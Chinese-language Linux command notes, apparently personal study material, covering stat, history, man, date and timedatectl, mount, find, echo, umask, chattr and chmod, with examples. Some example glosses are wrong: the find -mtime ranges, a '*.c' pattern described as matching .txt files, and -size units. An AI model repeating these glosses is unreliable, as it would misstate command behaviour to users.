%C SELinux安全上下文字符串
%d 十进制设备号
%D 设备编号(十六进制)
%f 十六进制原始模式
%F file type
%g group ID of owner(owner 主人)
%G group name of owner
%h 硬链接数
%i inode number
%m mount point
%n file name
%N 带引号的文件名,如果是符号链接,则取消引用
%o 最佳I/O传输大小提示
%s 总大小(字节)
%t 十六进制表示的主要设备类型,用于字符/块设备特殊文件
%T 十六进制表示的次要设备类型,用于字符/块设备特殊文件
%u user ID of owner
%U user name of owner
%w 文件生成时间,人类可读; - if unknown
%W 文件生成的时间,从Epoch开始的秒数; 0 if unknown
%x 上次访问时间,人类可读
%X 上次访问的时间,从Epoch开始的秒数
%y 上次修改的时间,人类可读
%Y 上次修改的时间,从Epoch开始的秒数
%z 上次改变的时间,人类可读
%Z 上次改变的时间,从Epoch开始的秒数
文件系统的有效格式序列:
%a 非超级用户可用的免费块
%b 文件系统中的总数据块
%c 文件系统中的文件节点总数
%d 文件系统中的自由文件节点
%f 文件系统中的空闲块
%i 文件系统ID(十六进制)
%l 文件名的最大长度
%n file name
%s 块大小(用于更快的传输)
%S 基本块大小(用于块计数)
%t 文件系统类型(十六进制)
%T 人类可读格式的文件系统类型
history
命令行历史保存在~/.bash_history中,用户退出后更新
history [-c] [-d offset] [n] 显示历史列表
history -anrw [filename]
history -ps arg [arg...]
-c 清除缓存中的历史列表
-d offset 删除历史中指定的第offset个命令
-n 显示最后n行历史
-a 追加本次会话新执行的命令历史列表至历史文件
-r 读历史文件附加到历史列表
-w 覆盖保存历史列表到指定的历史文件
-n 读取历史文件中未读过的行到历史列表
-p [arg...] 将[arg...]拆分成多行标准输出,不保存在历史列表中,不执行
-s [arg...] 在历史列表最后伪造一行历史命令arg,不执行
使用up(向上)和down(向下)键来上下浏览从前输入的命令
上方向键 ; Ctrl+p 重复前一个命令,不执行
下方向键 ; Ctrl+n 重复后一个命令,不执行
!! ; !-1 重复前一个命令,执行
Esc, .(点击Esc键后松开,然后点击 . 键)调用前一个命令中最后一个参数
Alt+.(按住Alt键的同时点击 . 键)(在Windows软件中会有快捷键冲突)
!:0 执行前一条命令(去除参数)
!n 执行history命令输出对应序号n的命令
!-n 执行history历史中倒数第n个命令
!string 执行前一个以“string”开头的命令
!?string 执行前一个包含string的命令
!string:p 打印前一个以“string”开头的命令,不执行
!^:p 打印输出 !$ (上一条命令的第一个参数)的内容
!$:p 打印输出 !$ (上一条命令的最后一个参数)的内容
!*:p 打印输出 !*(上一条命令的所有参数)的内容
^string 删除上一条命令中的第一个string
^string1^string2 将上一条命令中的第一个string1替换为string2
!:gs/string1/string2 将上一条命令中所有的string1都替换为string2
调用历史参数:
command !^ 利用上一个命令的第一个参数做cmd的参数
command !$ 利用上一个命令的最后一个参数做cmd的参数
command !* 利用上一个命令的全部参数做cmd的参数
command !:n 利用上一个命令的第n个参数做cmd的参数
command !n:^ 调用第n条命令的第一个参数
command !n:$ 调用第n条命令的最后一个参数
command !n:* 调用第n条命令的所有参数
command !n:m 调用第n条命令的第m个参数
command !string:^ 从命令历史中搜索以 string 开头的命令,并获取它的第一个参数
command !string:$ 从命令历史中搜索以 string 开头的命令,并获取它的最后一个参数
command !string:* 从命令历史中搜索以 string 开头的命令,并获取它的所有参数
command !string:n 从命令历史中搜索以 string 开头的命令,并获取它的第n个参数
命令历史相关环境变量:
HISTSIZE:命令历史记录的条数
HISTFILE:指定历史文件,默认为~/.bash_history
HISTFILESIZE:命令历史文件记录历史的条数
HISTTIMEFORMAT=“%F %T “ 显示时间
HISTIGNORE=“str1:str2*:… “ 忽略str1命令,str2开头的历史
HISTCONTROL= 记录方式
ignoredups 默认,忽略重复的命令,连续且相同为“重复”
ignorespace 忽略所有以空白开头的命令
ignoreboth 相当于 ignoredups,ignorespace 的组合
erasedups 删除重复命令
man
man (1-9) COMMAND ; COMMAND -h, --help 查看command帮助
1 用户命令
2 系统调用
3 C库调用
4 设备文件及特殊文件
5 配置文件格式
6 游戏
7 杂项
8 管理类的命令
9 Linux 内核API
-f, --whatis 显示手册页中的简短说明,需要制作数据库: makewhatis | mandb (CentOS7)
-d, --debug 发出调试消息
-v, --verbose 打印详细的警告消息
-r, --regex 将每个关键字解释为正则表达式
-w, --wildcard 关键字包含通配符
-l, --long 不要将输出调整为端子宽度
-C, --config-file=FILE use this user configuration file
-L, --locale=LOCALE 定义搜索的区域为LOCALE
-m, --systems=SYSTEM 使用其他系统的手册页
-M, --manpath=PATH 设置手册页搜索路径为PATH
-s, --sections=LIST, --section=LIST 仅搜索这些部分(冒号分隔)
-k, --apropos 显示手册页中包含 man 字符的简短说明
-a, --all 查找所有匹配的手册页
-w, --where, --path, --location
print physical location of man page(s)
(physical location 物理位置)
man配置文件:/etc/man.config | man_db.conf (CentOS7)
man环境变量:指明man文件搜索位置
MANPATH /PATH/TO/SOMEWHERE | MANDATORY_MANPATH /PATH/TO/SOMEWHERE (CentOS7)
man -M /PATH/TO/SOMEWHERE COMMAND # 到指定位置下搜索COMMAND命令的手册页并显示
man手册中的段落说明:
NAME 名称及简要说明
SYNOPSIS 用法格式说明
• [] 可选内容
• <> 必选内容
• a|b 二选一
• { } 分组
• ... 同一内容可出现多次
DESCRIPTION 详细说明
OPTIONS 选项说明
EXAMPLES 示例
FILES 相关文件
AUTHOR 作者
COPYRIGHT 版本信息
REPORTING BUGS bug信息
SEE ALSO 其它帮助参考
man快捷键:
space ; ^v ; ^f ; ^F 向文件尾翻屏
b ; ^b 向文件首部翻屏
d ; ^d 向文件尾部翻半屏
u ; ^u 向文件首部翻半屏
RETURN ; ^N ; e ; ^E ; j ; ^J 向文件尾部翻一行
y ; ^Y ; ^P ; k ; ^K: 向文件首部翻一行
q 退出
NUM 跳转至第NUM行
1G 回到文件首部
G 翻至文件尾部
/KEYWORD 相反 ?KEYWORD 向文件尾部搜索 相反 向文件头部搜索
n 下一个 相反 上一个
N 上一个 相反 下一个
info
info COMMAND 适合通用文档参考
-k, --apropos=STRING 在所有手册的索引中查找字符串
-f, --file=FILENAME 指定要访问的信息文件
-n, --node=NODENAME 指定第一次访问信息文件时显示的节点node
-o, --output=FILENAME output selected nodes to FILENAME.
-w, --where, --location print physical location of Info file.
info快捷键:
TAB 移动到下一个node,有node的地方,通常会以*显示hash缓存
Enter 当光标在node上,按下Enter进入node
Home 移动到本node首部
End 移动到本node尾部
b 移动光标到该info画面中第一个node处
d 回到主题目录
e 移动光标到该info画面中最后一个node处
n 进入下一个node处
p 进入上一个node处
u 进入向上一层
l 进入最后一个node
s ; / 搜索
date
显示和设置系统时间:date
date +%s seconds since 1970-01-01 00:00:00 UTC(since 自...以后)
date +"%F %T" 显示时间格式:2020-07-19 17:27:26
date +%a 显示星期几
date -d @1509536033 display time described by STRING, not 'now'
-s "2019-08-07 06:05:10"
--set="2019-08-07 06:05:10"
-u 显示目前的格林威治时间
x用数字代替,正数减,负数加
date -d "x days ago" +%Y%m%d
date -d "x weeks ago" +%Y%m%d
date -d "x years ago" +%Y%m%d
date -s ‘20180521’ 修改系统时间
date -R 以RFC 2822格式输出日期和时间
Examples:
[root@oldboyedu-lnb ~]$ date -d 'today' +'%Y-%m-%d_%H:%M:%S'
2020-08-13_19:54:57
[root@oldboyedu-lnb ~]$ date -d "3 days ago" +%Y-%m-%d
2020-08-10
[root@oldboyedu-lnb ~]$ date -d "-3 days ago" +%Y-%m-%d
2020-08-16
控制符 描述
%H 小时(for example, 17).
%M 分钟 (for example, 30).
%S 秒(for example, 24).
%d 月份中的某一天(for example, 16).
%m 月份中的某一个月(for example, 09).
%Y 年份 (for example, 2016).
%F 完整的日期格式 (for example, 2016-09-16). 这个选项相当于: %Y-%m-%d.
%T 完整的时间格式 (for example, 17:30:24). 这个选项相当于%H:%M:%S
clock
hwclock
clock=hwclock [function] [option...] 显示硬件时钟
-r, --show 读取硬件时钟并打印结果
--set 将 RTC 设置为给定的时间 --date
-s, --hctosys 以硬件时钟为准,校正系统时钟
-w, --systohc 以系统时钟为准,校正硬件时钟
--systz 根据当前时区设置系统时间
--adjust 自动调整硬件时钟时间
-c, --compare 定期比较系统时钟和 CMOS 时钟
--getepoch 打印出内核的硬件时钟epoch值
Examples:
hwclock --set --date="06/18/14 14:55"
clock --set --date="06/18/14 14:55"
tzselect Cent OS 7.x 交互式设置时区
配置环境变量:
TZ='Asia/Shanghai'; export TZ
时区文件:/etc/localtime
修改配置文件来修改时区:
1、vi /etc/sysconfig/clock
ZONE=‘Asia/Shanghai’
2、rm /etc/localtime
3、链接到上海时区文件:
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
timedatectl
Cent OS 7.x 查询和更改系统时钟和设置:
设置或更改当前的日期,时间和时区,或实现与远程NTP服务器的自动系统时钟同步。
timedatectl
OR
timedatectl | grep Time 查看当前时区
timedatectl | grep local 硬件时钟是否设置为本地时区
timedatectl set-local-rtc 1 硬件时钟设置为本地时区
timedatectl set-local-rtc 0 硬件时钟设置为协调世界时(UTC)
timedatectl status 显示系统的当前时间和日期,RTC time 是硬件时钟的时间
timedatectl list-timezones 查看所有可用的时区
timedatectl set-timezone "Asia/Shanghai" 设置本地时区
timedatectl set-timezone UTC 推荐使用和设置协调世界时,即UTC
timedatectl set-time 15:58:30 设置时间
timedatectl set-time 20151120 设置日期
timedatectl set-time '16:10:40 2015-11-20' 设置日期和时间
timedatectl set-ntp true 自动时间同步到远程NTP服务器
timedatectl set-ntp false 禁用NTP时间同步
cal
cal [options] [[[day] month] year] 日历
-1, --one show only current month (default)(current 现在的)
-3, --three show previous, current and next month(previous 以前的)
-s, --sunday Sunday as first day of week (default)
-m, --monday Monday as first day of week
-j, --julian output Julian dates(Julian 朱利安 按年计数)
-y, --year show whole current year
ntpdate
ntp服务器时间同步
yum -y install ntpdate
ntpdate ntp1.aliyun.com
getfacl
显示文件或目录的ACL规则:getfacl
getfacl file |directory 可看到特殊权限:flags
-a 显示文件的ACL
-d 显示默认的ACL
-c 不显示注释标题
-e 显示所有的有效权限
-E 显示没有的有效权限
-s 跳过文件,只具有基本条目
-R 递归
-t 使用表格输出格式
-n 显示用户的UID和组群的GID
setfacl
设置文件ACL规则:setfacl
setfacl [-bkndRLP] { -m|-M|-x|-X ... } file ...
-m,--modify-acl 更改文件的ACL
-M,--modify-file=file 从文件读取ACL条目更改
-x,--remove=acl 根据文件中ACL移除条目
-X,--remove-file=file 从文件读取ACL条目并删除
-b,--remove-all 删除所有扩展ACL条目
-k,--remove-default 移除默认ACL
--set=acl 更改现在的ACL,注意一定要包含ugo的设置
--set-file=file read ACL entries to set from file (entries条目)
-d,--default 应用到默认ACL的操作
-P,--physical 依照自然逻辑,不跟随符号链接
--restore=file restore ACLs (反向操作 `getfacl -R`)(restore 恢复)
-R,--recursive 递归操作子目录
tune2fs
“ext2/ext3/ext4”文件系统管理:tune2fs
tune2fs
-c 调整最大加载次数
-C 设置文件系统已经被加载的次数
-e 设置内核代码检测到错误时的行为
-f 强制执行修改,即使发生错误
-i 设置相邻两次文件系统检查的相隔时间
-j 为“ext2”文件系统添加日志功能,将其转换为“ext3”文件系统
-l 显示文件超级块内容
-L 设置文件系统卷标
-m 显示文件保留块的百分比
-M 设置文件系统最后被加载到的目录
-o 设置或清除文件系统加载的特性或选项
-O 设置或清除文件系统的特性或选项
-r 设置文件系统保留块的大小
-T 设置文件系统上次被检查的时间
-u 设置可以使用文件系统保留块的用户
-U 设置文件系统的UUID
Examples:
tune2fs -c 30 /dev/hda1 设置强制检查前文件系统可以挂载的次数
tune2fs -c 0 /dev/hda1 关闭强制检查挂载次数限制。
tune2fs -i 10 /dev/hda1 10天后检查
tune2fs -i 1d /dev/hda1 1天后检查
tune2fs -i 3w /dev/hda1 3周后检查
tune2fs -i 6m /dev/hda1 半年后检查
tune2fs -i 0 /dev/hda1 禁用时间检查
tune2fs -j /dev/hda1 添加日志功能,将ext2转换成ext3文件系统
tune2fs -r 40000 /dev/hda1 调整/dev/hda1分区的保留空间为40000个磁盘块
tune2fs -o acl,user_xattr /dev/hda1 设置/dev/hda1挂载选项,启用Posix Access Control Lists和用户指定的扩展属性
mount
mount [options] <source> <directory> 加载文件系统到指定的加载点
-a, --all 加载文件“/etc/fstab”中描述的所有文件系统
-F, --fork 叉开每个设备 (use with -a)
-T, --fstab <path> 指定文件替代 /etc/fstab
-l, --show-labels 显示已加载的文件系统列表
-n, --no-mtab don't write to /etc/mtab 加载时不将信息存入/etc/mtab
-o, --options <list> 以逗号分隔的装载选项列表
独立于文件系统的装载选项
rw 实现挂载后挂载点目录可读可写(默认)
ro 实现挂载后挂载点目录只可读
suid 在共享目录中可以让suid or sgid权限位生效(默认)
nosuid 在共享目录中可以让suid or sgid权限位失效,提供共享目录的安全性
exec 共享目录中的执行文件可以直接执行
noexec 共享目录中的执行文件不可以直接执行,提供共享目录的安全性
auto 自动挂载, mount -a 实现加载fstab文件自动挂载
noauto 不能自动挂载
user 允许普通用户卸载挂载点
nouser 禁止普通用户卸载挂载点
-O, --test-opts <list> 限制文件系统集(use with -a)
-r, --read-only mount the filesystem read-only (same as -o ro)
-t, --types <list> 指定挂载类型
-v, --verbose 执行时显示详细的信息
-w, --rw, --read-write mount the filesystem read-write (default)
Example:
mount | column -t # 查看所有挂载分区状态,column -t 输入格式化为多个列,确定输入包含的列数并创建表
mount -o loop /tmp/image.iso /mnt/cdrom # 在不将ISO录成光碟的情况下检视其内容
虚拟块设备(loop设备)
loop设备是一种伪设备,是使用文件来模拟块设备的一种技术,文件模拟成块设备后, 像一个磁盘或光盘一样使用。
在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。
因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。
之所以叫loop设备(回环),其实是从文件系统这一层来考虑的,
因为这种被 mount 起来的镜像文件它本身也包含有文件系统,通过loop设备把它mount起来,
它就像是文件系统之上再绕了一圈的文件系统,所以称为 loop。
一般在linux中会有8个loop设备:/dev/loop0~loop7
1)losetup -a # 查看所有的loop设备,没有输出说明所有的loop设备都没有被占用
2)dd if=/dev/zero of=/var/loop.img bs=1M count=10240 # 创建一个文件
3)losetup /dev/loop0 /var/loop.img # 使用losetup将文件转化为块设备
4)lsblk |grep loop0 # 查看刚刚创建的块设备
losetup -a # 查看刚刚创建的块设备
5)可以将这个块设备格式化并创建其他的文件系统,然后再mount到某个目录。
6)losetup -d /dev/loop0 # 删除块设备
在/etc/fstab文件中设置开机自动挂载:
字段 | 意义 |
---|---|
设备文件 | 一般为设备的路径+设备名称,也可以写唯一识别码(UUID,Universally Unique Identifier) |
挂载目录 | 指定要挂载到的目录,需在挂载前创建好 |
格式类型 | 指定文件系统的格式,比如Ext3、Ext4、XFS、SWAP、iso9660(此为光盘设备)等 |
权限选项 | 若设置为defaults,则默认权限为:rw, suid, dev, exec, auto, nouser, async |
是否备份 | 若为1则开机后使用dump进行磁盘备份,为0则不备份 |
是否自检 | 若为1则开机后自动进行磁盘自检,为0则不自检 |
umount
umount [options] <source> | <directory> 卸载文件系统
-a, --all unmount all filesystems 卸载/etc/mtab 中记录的所有文件系统
-A, --all-targets 卸载当前命名空间中给定设备的所有载入点
-d, --detach-loop 如果安装了环路设备,则分离环路,同时释放该环路设备
-f, --force 强制卸载(在无法访问NFS系统的情况下)
-n, --no-mtab don't write to /etc/mtab 卸载时不将信息存入/etc/mtab
-l, --lazy 现在分离文件系统,以后再清理
-O, --test-opts <list> 限制文件系统集(use with -a)
-R, --recursive 递归地卸载目标及其所有子对象
-r, --read-only 若无法成功卸载,则尝试以只读的方式重新挂入文件系统
-t, --types <list> 指定卸载类型型
-v, --verbose 执行时显示详细的信息
locate
工作特点:
• 查找速度快
• 模糊查找
• 非实时查找
• 搜索的是文件的全路径,不仅仅是文件名
• 可能只搜索用户具备读取和执行权限的目录
yum -y install mlocate
locate 只在/var/lib/mlocate/mlocate.db 数据库中找
updatedb 更新文件所在路径的索引数据库表
locate filename 查看文件所在路径信息
-u 手工升级数据库
-i 不区分大小写的搜索
-n N 只列举前N个匹配项目
-r 使用基本正则表达式
find
工作特点:
• 查找速度略慢
• 精确查找
• 实时查找
• 可能只搜索用户具备读取和执行权限的目录
find path -option [ -print ] [ -exec -ok command ] {} \;
find path [option] 搜索条件 (find支持通配符,一般不支持正则)
-daystart 从本日开始计算时间
-depth 从指定目录下最深层的子目录开始查找
-follow 排除符号连接
-maxdepth<目录层级> 设置最大目录层级
-mindepth<目录层级> 设置最小目录层级
-noleaf 不去考虑目录至少需拥有两个硬连接存在
TESTS:
+n 大于 n (n,∞)
-n 小于 n [0,n)
n 等于 n (n-1, n]
-amin<分钟> 上次访问文件是在n分钟前
-anewer<参考文件或目录> 上次访问文件的时间比参考文件或目录的时间晚
-atime<24小时数> 上次访问文件是在n*24小时前
-cmin<分钟> 查找在指定时间之时被修改过的文件或目录
-cnewer<参考文件或目录> 查找其修改时间较指定文件或目录的修改时间更接近现在的文件或目录
-ctime<24小时数> 查找在指定时间曾被修改的文件或目录,单位以24小时计算
-empty 寻找为空的普通文件或目录
-false 将find指令的回传值皆设为False
-fstype<文件系统类型> 只寻找该文件系统类型下的文件或目录
-gid<GID> 查找指定属组 GID 的文件或目录
-group<属组名称> 查找指定属组的文件或目录
-ilname<范本样式> same as -lname,但忽略字符大小写的差别
-iname<范本样式> same as -name,但忽略字符大小写的差别
-inum<inode编号> 查找符合指定的inode编号的文件或目录
-ipath<范本样式> same as -path,但忽略字符大小写的差别
-iregex<范本样式> same as -regexe,但忽略字符大小写的差别
-links<链接数目> 查找符合指定的硬连接数目的文件或目录
-iname<范本样式> 指定范本样式(符号链接名称字符串)
-mmin<分钟> 查找在指定时间曾被修改过的文件或目录,单位以分钟计算
-mount,-xdev 只检查和指定目录在同个文件系统下的文件,避免列出其它文件系统中的文件
-mtime<24小时数> 查找在指定时间曾被更改过的文件或目录,单位以24小时计算
-name<范本样式> 指定范本样式(文件或目录名称字符串)
-newer<参考文件或目录> 查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录
-nogroup 找出不属于本地主机属组的文件或目录
-nouser 找出不属于本地主机属主的文件或目录;
-path<范本样式> 指定范本样式(目录字符串)
-perm<权限数值 MODE> 查找符合指定的权限数值的文件或目录
MODE: 精确权限匹配
/MODE:任意对象的权限中只要能匹配(rwx)一个即可,或关系
-MODE:每类对象都必须同时拥有指定权限,与关系(权限数值:0 表示不关注)
-regex<范本样式> 指定范本样式(使用基本正则表达式的绝对路径字符串)
-samefile name 相同inode号的文件
-size<文件大小> 查找符合指定的文件大小的文件
b:512 byte,c:bytes,w:2 bytes,k:1024 bytes,M:1024 k,G:1024M
-true 将find指令的回传值皆设为True
-type<文件类型> 只寻找符合指定的文件类型的文件
f:普通文件、d: 目录、l: 符号链接、b: 块设备、
c: 字符设备、p: 管道文件、s: socket
-uid<UID> 查找指定属主 UID 的文件或目录
-used<日数> 查找文件或目录被修改之后在指定时间曾被读取过的文件或目录,单位:日
-user<属主名称> 查找指定属主的文件或目录
-xtype<文件类型> same as -type,差别在于它针对符号连接检查
ACTIONS:
-delete 删除文件:成功,返回true;失败,发出错误消息。自动使用 -depth
-exec COMMAND {} \; 假设find指令的回传值为True,就在被搜索的起始目录下执行命令
终结符有两个:“;”会对每一个find到的文件去执行一次cmd命令
”+“让find到的文件一次性执行完cmd命令。
-execdir COMMAND {} \; same as -exec,但在包含匹配到文件的子目录下执行命令
-fls<列表文件> same as -ls,但会把结果保存为指定的列表文件
-fprint<列表文件> same as -print,但会把结果保存成指定的列表文件
-fprint0<列表文件> same as -print0,但会把结果保存成指定的列表文件
-fprintf<列表文件><输出格式> same as -printf,但会把结果保存成指定的列表文件
-ls 假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出
-ok COMMAND {} \; same as -exec,但在执行指令之前会先询问用户
-print (default) 假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。
格式为每列一个名称,每个名称前皆有“./”字符串;
-print0 假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。
格式为全部的名称皆在同一行;
-printf<输出格式> 假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。
格式可以自行指定;
-prune 仅用于排除查找范围(目录),不要和-depth(-delete)一起使用,\
否则-prune将不起作用
{} 用于引用查找到的文件名称自身
操作符 (优先级递减;未做任何指定时默认使用 -and):
( EXPR )
非:
! EXPR
-not EXPR
与:
EXPR1 -a EXPR2
EXPR1 -and EXPR2
或:
EXPR1 -o EXPR2
EXPR1 -or EXPR2
列表:
EXPR1 , EXPR2
注意:
在命令列上第一个 - ( ) , ! 之前的部份为 path,之后的是 expression。
默认查找path目录及其子目录,path是空字串则使用当前目录,expression 是空字串则使用 -print。
find传递查找到的文件至后面指定的命令时,查找到所有符合条件的文件一次性传递给后面的命令
德·摩根定律:
(非 A) 或 (非 B) = 非(A 且 B)
(非 A) 且 (非 B) = 非(A 或 B)
Examples:
[root@oldboyedu-lnb ~]# find /etc -name "*.conf"|wc -l
134
[root@oldboyedu-lnb ~]# find /etc -path '/etc/security' -prune -o -name "*.conf"|wc -l
125
[root@oldboyedu-lnb ~]# find /etc -path '/etc/abrt' -prune -o -name "*.conf"|wc -l
127
[root@oldboyedu-lnb ~]# find /etc -path "/etc/security" -prune -o -path "/etc/abrt" -prune -o -name "*.conf"|wc -l
118
[root@oldboyedu-lnb ~]# find /etc \( -path "/etc/security" -o -path "/etc/abrt" \) -prune -o -name "*.conf"|wc -l
118
Examples:
find -name "*.c" 查找以.txt结尾的文件
find -iname "*.c" 查找以.txt结尾的文件,忽略大小写
find -path "*local*" 匹配文件路径或者文件
find -regex ".*\(\.txt\|\.pdf\)$" 正则表达式匹配文件路径
find -iregex ".*\(\.txt\|\.pdf\)$" 正则表达式匹配文件路径,忽略大小写
find ! -name "*.txt" 查找不以.txt结尾的文件
find -type f 查找一般文件
find -maxdepth 1 -type f 查找目录层级深度最大为1
find -mindepth 1 -type f 查找目录层级深度最小为1
find -ctime -20 查找最近 20 天内更新过的文件
find -type f -amin +10 查找访问时间为10分钟前的所有普通文件
find -mtime 1 查找修改时间为距离今天1天内的文件 24-48小时的文件
find -mtime 0 查找修改时间为距离今天0天内的文件 24小时内的文件
find -mtime +7 查找修改时间为7天前的文件 48小时以前的文件
find -mtime -7 查找修改时间为7天内的文件 24小时内的文件
find -type f -newer file.log 找出比file.log修改时间更长的所有普通文件
find -type f -size +10 -delete 删除大于10k文件
find -type f -size +1M 查找文件长度大于1M的所有普通文件
find -type f -size +1M|xargs ls -lh 查找文件长度大于1M的所有普通文件,显示详细信息列表
find -type f -perm 777 查找权限为777的所有普通文件
find -type f -user tom 找出当前目录用户tom拥有的所有普通文件
find -type f -group sunk 找出当前目录用户组sunk拥有的所有普通文件
find -empty 列出所有为空,并且是常规文件或目录
find / -name *xxx*.c -print0|xargs -0 根目录下模糊查找文件名包含xxx的.c文件
查找当前目录或者子目录下所有.txt文件,但是跳过子目录sk
find -path "./sk" -prune -o -name "*.txt" -print
输出一行,在find的每一个结果之后加一个NULL字符,而不是默认加一个换行符。
find -print0
查找500M以上的文件,print0和xargs -0配合使用,用来解决文件名中有空格或特殊字符问题。
find / -size +500M -print0|xargs -0 du -m|sort -nr
看根路径下1层目录,哪个文件夹比较大,单位M,降序。
du -m -d 1 /|sort -nr
-exec 与其他命令结合使用
find -type f -size 0 -exec ls -l {} \; # 查找所有文件长度为0的普通文件,并列出它们的完整路径
-ok 与其他命令结合使用,不过它会给出提示,是否执行相应的操作。
find -type f -mtime +7 -ok rm {} \; # 查找更改时间在7日以前的所有普通文件,并在删除前询问它们
在-exec之后接受多条命令
-exec ./text.sh {} \;
查找所有文件长度大于1M的普通文件,并列出它们的详细信息
find -type f -size +1M -exec ls -lh {} \;
or
ll -h `find -type f -size +1M`
prune这个英文单词的意思是:修剪,裁剪;在find 命令中的 -prune 参数引申为: 排除的意思;
[root@localhost ~]# man find | sed -n "/^\( *\)[-]prune/,/^\( *\)$/p"
-prune True; if the file is a directory, do not descend into it. If -depth is given, false; no effect. Because -delete implies -depth, you
cannot usefully use -prune and -delete together.
A. -prune参数属于find的action , 这个action返回的结果为True;
B. 如果被查找的文件是一个目录,那么不会递归到该目录里面做进一步查找,直白点说就是:如果-prune 匹配的是一个目录,那么就会跳过该目录,不对该目录的子目录以及文件进行查找;
C. 如果配合了参数-depth的话,该action返回的值为false .
D. 因为-delete action总是和-depth一起使用,所以不能把-prune和-delete这两个action一起使用;
A和C强调的是返回值 ,影响我们find命令时候多个条件的组合操作;
EXPRESSIONS
The expression is made up of options (which affect overall operation rather than the processing of a specific file, and always return true),
tests (which return a true or false value), and actions (which have side effects and return a true or false value), all separated by opera‐
tors. -and is assumed where the operator is omitted.
大意是说: find 的表达式是由 options, tests, 和actions组成的,其中options总是返回true, 而tests,actions返回的结果或者是true, 或者是false.
这些options, testst, action 之间是需要用 operators (这里指逻辑操作符号 -and, -or ... )来连接的,而默认的operators 就是 -and,and表示前面的表达式结果为真,才会执行后面的表达式;同理,-or 表示前面的表达式为false的时候,才会执行后面的表达式;
所以我们一般使用: find . -mtime +1 -type f -iname "file.c" 这种没有指名operator的find命令的时候,默认是:多个条件都满足才会匹配,也就是用了-a operator ;
回过头来看-prune参数,经常被用来排除目录,不做查找操作,比如下面的操作,我需要排除/proc 这个内存文件系统, 然后查找数字作为名称的文件:
[root@localhost ~]# find / -regextype grep -regex ".*/[0-9]\{1,6\}$" | grep proc | head #没有排除的情况下,我们在/proc下找到了很多以数字命名的文件;
/proc/bus/pci/00
/proc/irq/0
/proc/irq/1
/proc/irq/2
/proc/irq/3
/proc/irq/4
/proc/irq/5
/proc/irq/6
/proc/irq/7
/proc/irq/8
[root@localhost ~]# find / -path /proc -prune -o -regextype grep -regex ".*/[0-9]\{1,6\}$" | grep proc #利用-prune 排除之后,没有进入/proc做进一步查找;
/proc
下面对上述find 的查找逻辑做一个简单的分析:
-path /proc 属于tests 条件,如果不是/proc , 那么返回值为false, 此时就不会执行-prune action. 因为默认的operator 是and;所以此时,-path /proc -prune的结果就是-path /proc 的结果,也就是false. 而后面的条件需要继续执行,所以需要用-o 参数来连接;如果遇到的路径是/proc, 那么 -path /proc 返回结果为true, 此时会执行 -prune action,也就是忽略该目录;此时执行到"-path /proc -prune"的结果为true. 后面的条件是不需要进一步执行的,所以 -o 的operator 也是满足条件的;
echo
echo [-neE][STRING] 将输入的字符串标准输出。输出的字符串间以空白字符隔开,并在最后加上换行号。
-E 禁用 \ 解释功能(default)
-n 不自动换行
-e 启用 \ 解释功能
若字符串中出现以下字符,则特别加以处理,而不会将它当成一般文字输出
\a 发出警告声
\b 退格键
\c 最后不加上换行符
\e escape字符,相当于\033,转义符
\n 回车换行
\r 回到行首
\t 水平制表符tab
\v 垂直制表符
\\ \字符
\0nnn nnn(八进制)ASCII字符
\xHH HH(十六进制)ASCII字符
echo "$VAR_NAME” 弱引用,""中的变量会被替换,被替换后输出
echo '$VAR_NAME’ 强引用,''中的变量不会替换,保持原样输出
echo -e '\0135\x5d'
]]
$(COMMAND) ; COMMAND 把一个命令的输出打印给另一个命令用作参数
{ } 打印重复字符串的简化形式
echo STRING{STRING1,STRING2,STRING3}
print(STRINGSTRING1 STRINGSTRING2 STRINGSTRING3)
echo {1..10}
echo {a..z}
echo {000..20..2}
exec
exec命令通常用在shell脚本程序中,可以调用其他的命令。如果在当前终端中使用命令,则当指定的命令执行完毕后会立即退出终端。例如:find、mount等命令的参数
exec -c 在空环境中执行指定的命令
exec -c echo Welcome # 执行完 echo Welcome 后退出
exec /sbin/init # 单用户模式修改完密码后直接启动系统
umask
新建文件和目录的默认权限:umask
umask 查看
root用户默认是 0022 即 ----w--w-
普通用户默认是 0002
文件(或目录)的初始权限 = 文件(或目录)的最大默认权限 - umask权限
文件可拥有的最大默认权限是 666 即 rw-rw-rw-
目录可拥有的最大默认权限是 777 即 rwxrwxrwx
umask xxxx 临时设置
umask –S 以文字的方式来表示权限掩码
umask –p 输出的权限掩码可直接作为指令来执行
永久配置文件:
全局设置:/etc/bashrc 用户设置:~/.bashrc
lsattr
lsattr
-R 递归地列出目录及其内容的属性
-a 列出目录中的所有文件,包括隐藏文件
-d 只显示目录名称
chattr
chattr +-=[aAcCdDeijsStTu]
-R 递归处理目录下的所有文件
-v 设置文件或目录版本
-V 显示指令执行过程
+ 开启文件或目录的该项属性
- 关闭文件或目录的该项属性
= 指定文件或目录的该项属性
a:让文件或目录仅供附加用途;
A:当一个具有“A”属性的文件被访问时,它的atime记录不会被修改;
b:不更新文件或目录的最后存取时间;
c:将文件或目录压缩后存放;
d:将文件或目录排除在倾倒操作之外;
i:不得修改文件或目录;
j:如果文件系统安装有“data=order”或“data=writeback”选项,
则具有“j”属性的文件在写入文件本身之前将其所有数据写入ext 3日志;
s:当删除具有“s”属性集的文件时,其块将被归零并写回磁盘;
S:当修改具有“S”属性集的文件时,更改将同步写入磁盘;这相当于应用于文件子集的“同步”挂载;
u:当删除具有‘u’属性集的文件时,它的内容将被保存
chmod
chmod [OPTION]... OCTAL-MODE FILE...
chmod [OPTION]... MODE[,MODE]... FILE...
MODE:修改一类用户的所有权限
修改一类用户某位或某些位权限
-R: 递归修改权限
--reference=RFILE FILE... 参考RFILE文件的权限,将FILE的修改为同RFILE
u文件的所有者
g与文件所有者同组的用户
o其他组的用户
a所有用户(不带参默认)=ugo
+/-/='rwxXstugo'
(r)读权限(4)
(w)写权限(2)
(x)执行权(1)(或对目录的访问权)
(X)只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x属性
(s)同时设定用户或组ID,SUID/SGID
(t)Sticky 粘滞位 防删除位
Example:
chmod u+x FILE 给文件所有者赋予执行权限
chmod 777 FILE 任何人都有读、写、运行三项权限
